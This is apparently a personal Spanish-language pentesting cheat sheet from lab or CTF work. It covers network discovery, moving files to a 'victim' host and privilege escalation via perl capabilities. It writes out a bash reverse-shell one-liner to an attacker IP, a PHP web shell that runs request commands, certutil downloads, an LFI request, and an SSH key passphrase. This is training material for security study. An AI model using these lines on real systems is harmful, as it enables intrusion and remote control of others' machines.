====== Consideraciones previas ====== ===== Detectar equipos conectados a mi red con arp-scan ===== Para ello tenemos que ejecutar el siguiente comando pasándole la interfaz de red que estemos utilizando: {{pasted_image_20221230095219.png|}} Y por ejemplo si la interfaz de red es otra, la tendremos que seleccionar (como en este caso que estoy utilizando un portátil): {{pasted_image_20221230095402.png|}} ===== Detectar equipos conectados a mi red con netdiscover ===== También podemos hacer esto mismo pero con netdiscover: netdiscover -i eth0 -r 192.168.0.0/24 {{pasted_image_20230726112842.png|}} ===== Detectar las ipv6 de los equipos conectados a mi red ===== Para poder encontrar las direcciones IPv6 de los equipos que estén dentro de mi red, utilizo el siguiente comando: ping6 -c2 -n -I eth0 ff02::1 Y esto me devuelve las IPv6 de los equipos de mi red privada: {{pasted_image_20240107201848.png|}} ===== Detectar puertos abiertos de todos los hosts dentro de mi red con masscan ===== Podemos utilizar esta herramienta de la siguiente forma y me detecta todos los puertos 445 de todos los equipos conectados a mi rando de red: {{pasted_image_20230414125831.png|}} También podemos hacerlo como /16 por si queremos ampliar la búsqueda de más equipos que se encuentren en otros rangos de la red, por ejemplo si hay un host que sea 192.168.0.20.44: {{pasted_image_20230414125924.png|}} ===== Compartir archivos por servidor web de python ===== Para ello nos ubicamos dentro del directorio que queramos compartir y ejecutamos lo siguiente: {{pasted_image_20221217112301.png|}} Ahora si hacemos un localhost o introducimos la IP que nos dicen, aparecerá lo siguiente: {{pasted_image_20221217112310.png|}} ===== Compartir archivos con certutil ===== También podemos compartir archivos por la red usando certutil, de tal forma que desde la máquina atacante podemos levantar un servidor http: {{pasted_image_20231202124800.png|}} Y para recibir el archivo podemos utilizar certutil desde la máquina víctima: certutil -split -urlcache -f http://192.168.0.32/test.txt {{pasted_image_20231202124834.png|}} ===== Conseguir reverse shell de máquina víctima a nuestro equipo ===== Para ello primero pondremos a escuchar con netcat desde nuestro equipo host: {{pasted_image_20221217112335.png|}} Después, desde la máquina víctima necesitaremos que ejecute el siguiente código para enviarnos una bash: bash -i >& /dev/tcp/10.10.16.27/443 0>&1 Aunque si lo hacemos desde un navegador, debemos escribirlo de esta manera, porque al poner bash -c seleccionamos el intérprete: bash -c 'bash -i >& /dev/tcp/10.8.100.91/443 0>&1' ===== Código PHP malicioso para ganar Reverse Shell ===== Esto se utiliza para subir este fichero php a una web que funcione con este lenguaje para después acceder a dicho documento desde algún directorio de uploads de la web; y así ganar ejecución remota de comandos: " . shell_exec($_REQUEST['cmd']) . ""; ?> Luego podemos acceder a este fichero malicioso desde la máquina víctima poniendo lo siguiente en la URL seguido del comando a ejecutar: {{pasted_image_20230218112346.png|}} ===== TCPDUMP para interceptar paquetes dentro de la conexión ===== {{pasted_image_20221217112455.png|}} También podemos guardar con tcpdump las conexiones por una determinada interfaz y analizarlas con wireshark. Por ejemplo hacemos un escaneo: {{pasted_image_20230412194342.png|}} Si guardamos esto en un fichero .cap para analizarlo con wireshark, veremos que en este escaneo además de nuestra IP también se habrá enviado otros paquetes desde la IP 192.168.0.232 que hemos proporcionado como señuelo: {{pasted_image_20230412194600.png|}} {{pasted_image_20230412194623.png|}} ===== Modificar el fichero /etc/hosts para añadir un dominio que no nos funciona ===== Podemos tener una URL que no nos carga en el navegador: {{pasted_image_20221217112601.png|}} Entonces ahora tenemos que indicar que la IP apunte a este subdominio, tal y como hicimos antes: {{pasted_image_20221217112608.png|}} Entonces ahora si pegamos la dirección que se nos indica en la web, accederemos a un menú de registro: {{pasted_image_20221217112615.png|}} ===== Herramienta searchsploit ===== Podemos buscar exploit de alguna vulnerabilidad, por ejemplo de una versión ftp: {{pasted_image_20221217112646.png|}} Vamos a descargarnos el primer exploit desde esta herramienta utilizando la opción -m: {{pasted_image_20221217112653.png|}} ===== Escalada con usr/bin/perl setuid: ===== Ahora vamos a escalar privilegios, para ello vamos a ejecutar el comando ''getcap *r /2>/dev/null'', donde debemos fijarnos en la segunda fila porque dice que perl puede ejecutar cosas con plenos poderes: {{pasted_image_20221217114539.png|}} También podemos comprobar que podemos ejecutar código como root desde perl con el comando ls -la {{pasted_image_20221217114548.png|}} Ahora debemos crear un script en perl que nos sirve para elevar los privilegios, el cual será este: {{pasted_image_20221217114555.png|}} Para ejecutarlo lo hacemos con echo -ne: {{pasted_image_20221217114602.png|}} Y ahora ya somos root: {{pasted_image_20221217114609.png|}} También podemos hacerlo de otra forma, yendo a gtfobins y miramos el payload para explotar las capabilities de perl, y tenemos esto: {{pasted_image_20230720132042.png|}} Y ya somos root al ejecutarlo de cualquiera de las dos formas: {{pasted_image_20230720132148.png|}} ===== Compartir archivos con windows con impacket-smbserver | recurso compartido ===== Si quiero compartir los archivos de un directorio en un recurso compartido en Windows, debo ubicarme en la carpeta donde los quiera compartir y ejecutar este comando: {{pasted_image_20221217114627.png|}} Ahora desde la máquina víctima Windows nos descargamos el archivo del recurso compartido, poniendo primero la IP de la máquina Kali que está compartiendo el recurso, luego el nombre del archivo compartido y por último el nombre que le queramos poner: {{pasted_image_20221217114634.png|}} [[MAQUINA GRANDPA (Buffer Overflow IIS 6.0, escalada con seimpersonateprivilege y exploit churrasco)]] ====== Compartir archivos recurso compartido cuando nos da un error de credenciales ====== Vamos a compartir estos dos archivos creando un recurso compartido con impacket-smbserver de esta forma: {{pasted_image_20221217114648.png|}} Pero al descargar los archivos de la máquina víctima nos dice que debe haber un usuario y contraseña de por medio: {{pasted_image_20221217114654.png|}} Por tanto vamos a crear otra vez el recurso compartido pero fijando un usuario y contraseña: {{pasted_image_20221217114701.png|}} Ahora descargamos todo el recurso compartido de esta forma: {{pasted_image_20221217114707.png|}} Ahora si hacemos un dir de x (que es la unidad que hemos creado y donde se almacena todo el recurso compartido), accedemos a todos los archivos: {{pasted_image_20221217114715.png|}} ====== Ejecutar netcat en windows ====== Para ejecutar netcat en windows debemos tener el ejecutable de netcat descargado y ejecutamos el siguiente comando: {{pasted_image_20221217114732.png|}} Puede darse el caso donde tengamos que poner primero un ./ antes de ejecutar netcat: {{pasted_image_20221217114739.png|}} Aunque también puede darse el caso de que tengamos que poner un ./ antes del ejecutable para ejecutarlo. ===== Conexión por telnet ===== Para conectarse por Telnet, en el equipo servidor debe tener configurado correctamente este servicio, una vez lo tenga configurado, ya podemos iniciar sesión utilizando el nombre del login de dicho equipo de destino y su contraseña de iniciar sesión, escribiendo telnet : ===== Tratamiento de la tty ===== Para crearnos una pseuso-consola donde podamos hacer control c y no tengamos problemas con el teclado ejecutamos lo siguiente: * Ponemos script /dev/null -c bash * Pulsamos control z * Escribimos script /dev/null -c bash * Después ponemos stty raw -echo; fg * Ponemos xterm {{pasted_image_20230502104304.png|}} * Ponemos export SHELL=bash * Por último ponemos export TERM=xterm {{pasted_image_20230502104222.png|}} ===== Encontrar dirección ipv6 en máquina linux ===== Hay una ruta donde podemos encontrar la dirección IPv6 de una máquina linux, y es la siguiente: cat /proc/net/if_inet6 {{pasted_image_20240105111122.png|}} Esto puede ser muy útil cuando queramos obtener dicha dirección tras explotar un LFI: curl -sX GET 'http://192.168.0.32/php-scripts/file.php?6=/proc/net/if_inet6' {{pasted_image_20240105111152.png|}} No obstante, por aquí todavía no encontramos la IPv6; y para ello podemos utilizar ping6 de la siguiente forma: ping6 -c2 -n -I eth0 ff02::1 Utilizamos los siguientes parámetros para ello: * **''ping6''**: Este comando se utiliza para enviar paquetes de solicitud de eco ICMPv6 a una dirección específica. * **''-c2''**: Indica que se enviarán 2 paquetes antes de detenerse. * **''-I eth0''**: Especifica la interfaz de red desde la cual se enviarán los paquetes de ping. En este caso, se ha especificado la interfaz ''eth0''. * **''ff02::1''**: Esta es una dirección de multidifusión de enlace local. El rango ''ff02::/16'' está reservado para direcciones de multidifusión de enlace local, y el ''::1'' indica el grupo de todos los nodos en el enlace local. Y nos devuelve esto, donde conseguimos muchas IPv6: {{pasted_image_20240105112339.png|}} Vamos probando en conectarnos por ssh con cada una de estas IPs hasta acertar: ssh -6 -i id_rsa cromiphi@fe80::a00:27ff:fe4c:9dd4%eth0 Utilizando el archivo ''id_rsa'' con la contraseña ilovemyself del fichero ''id_rsa'': {{pasted_image_20240105112413.png|}}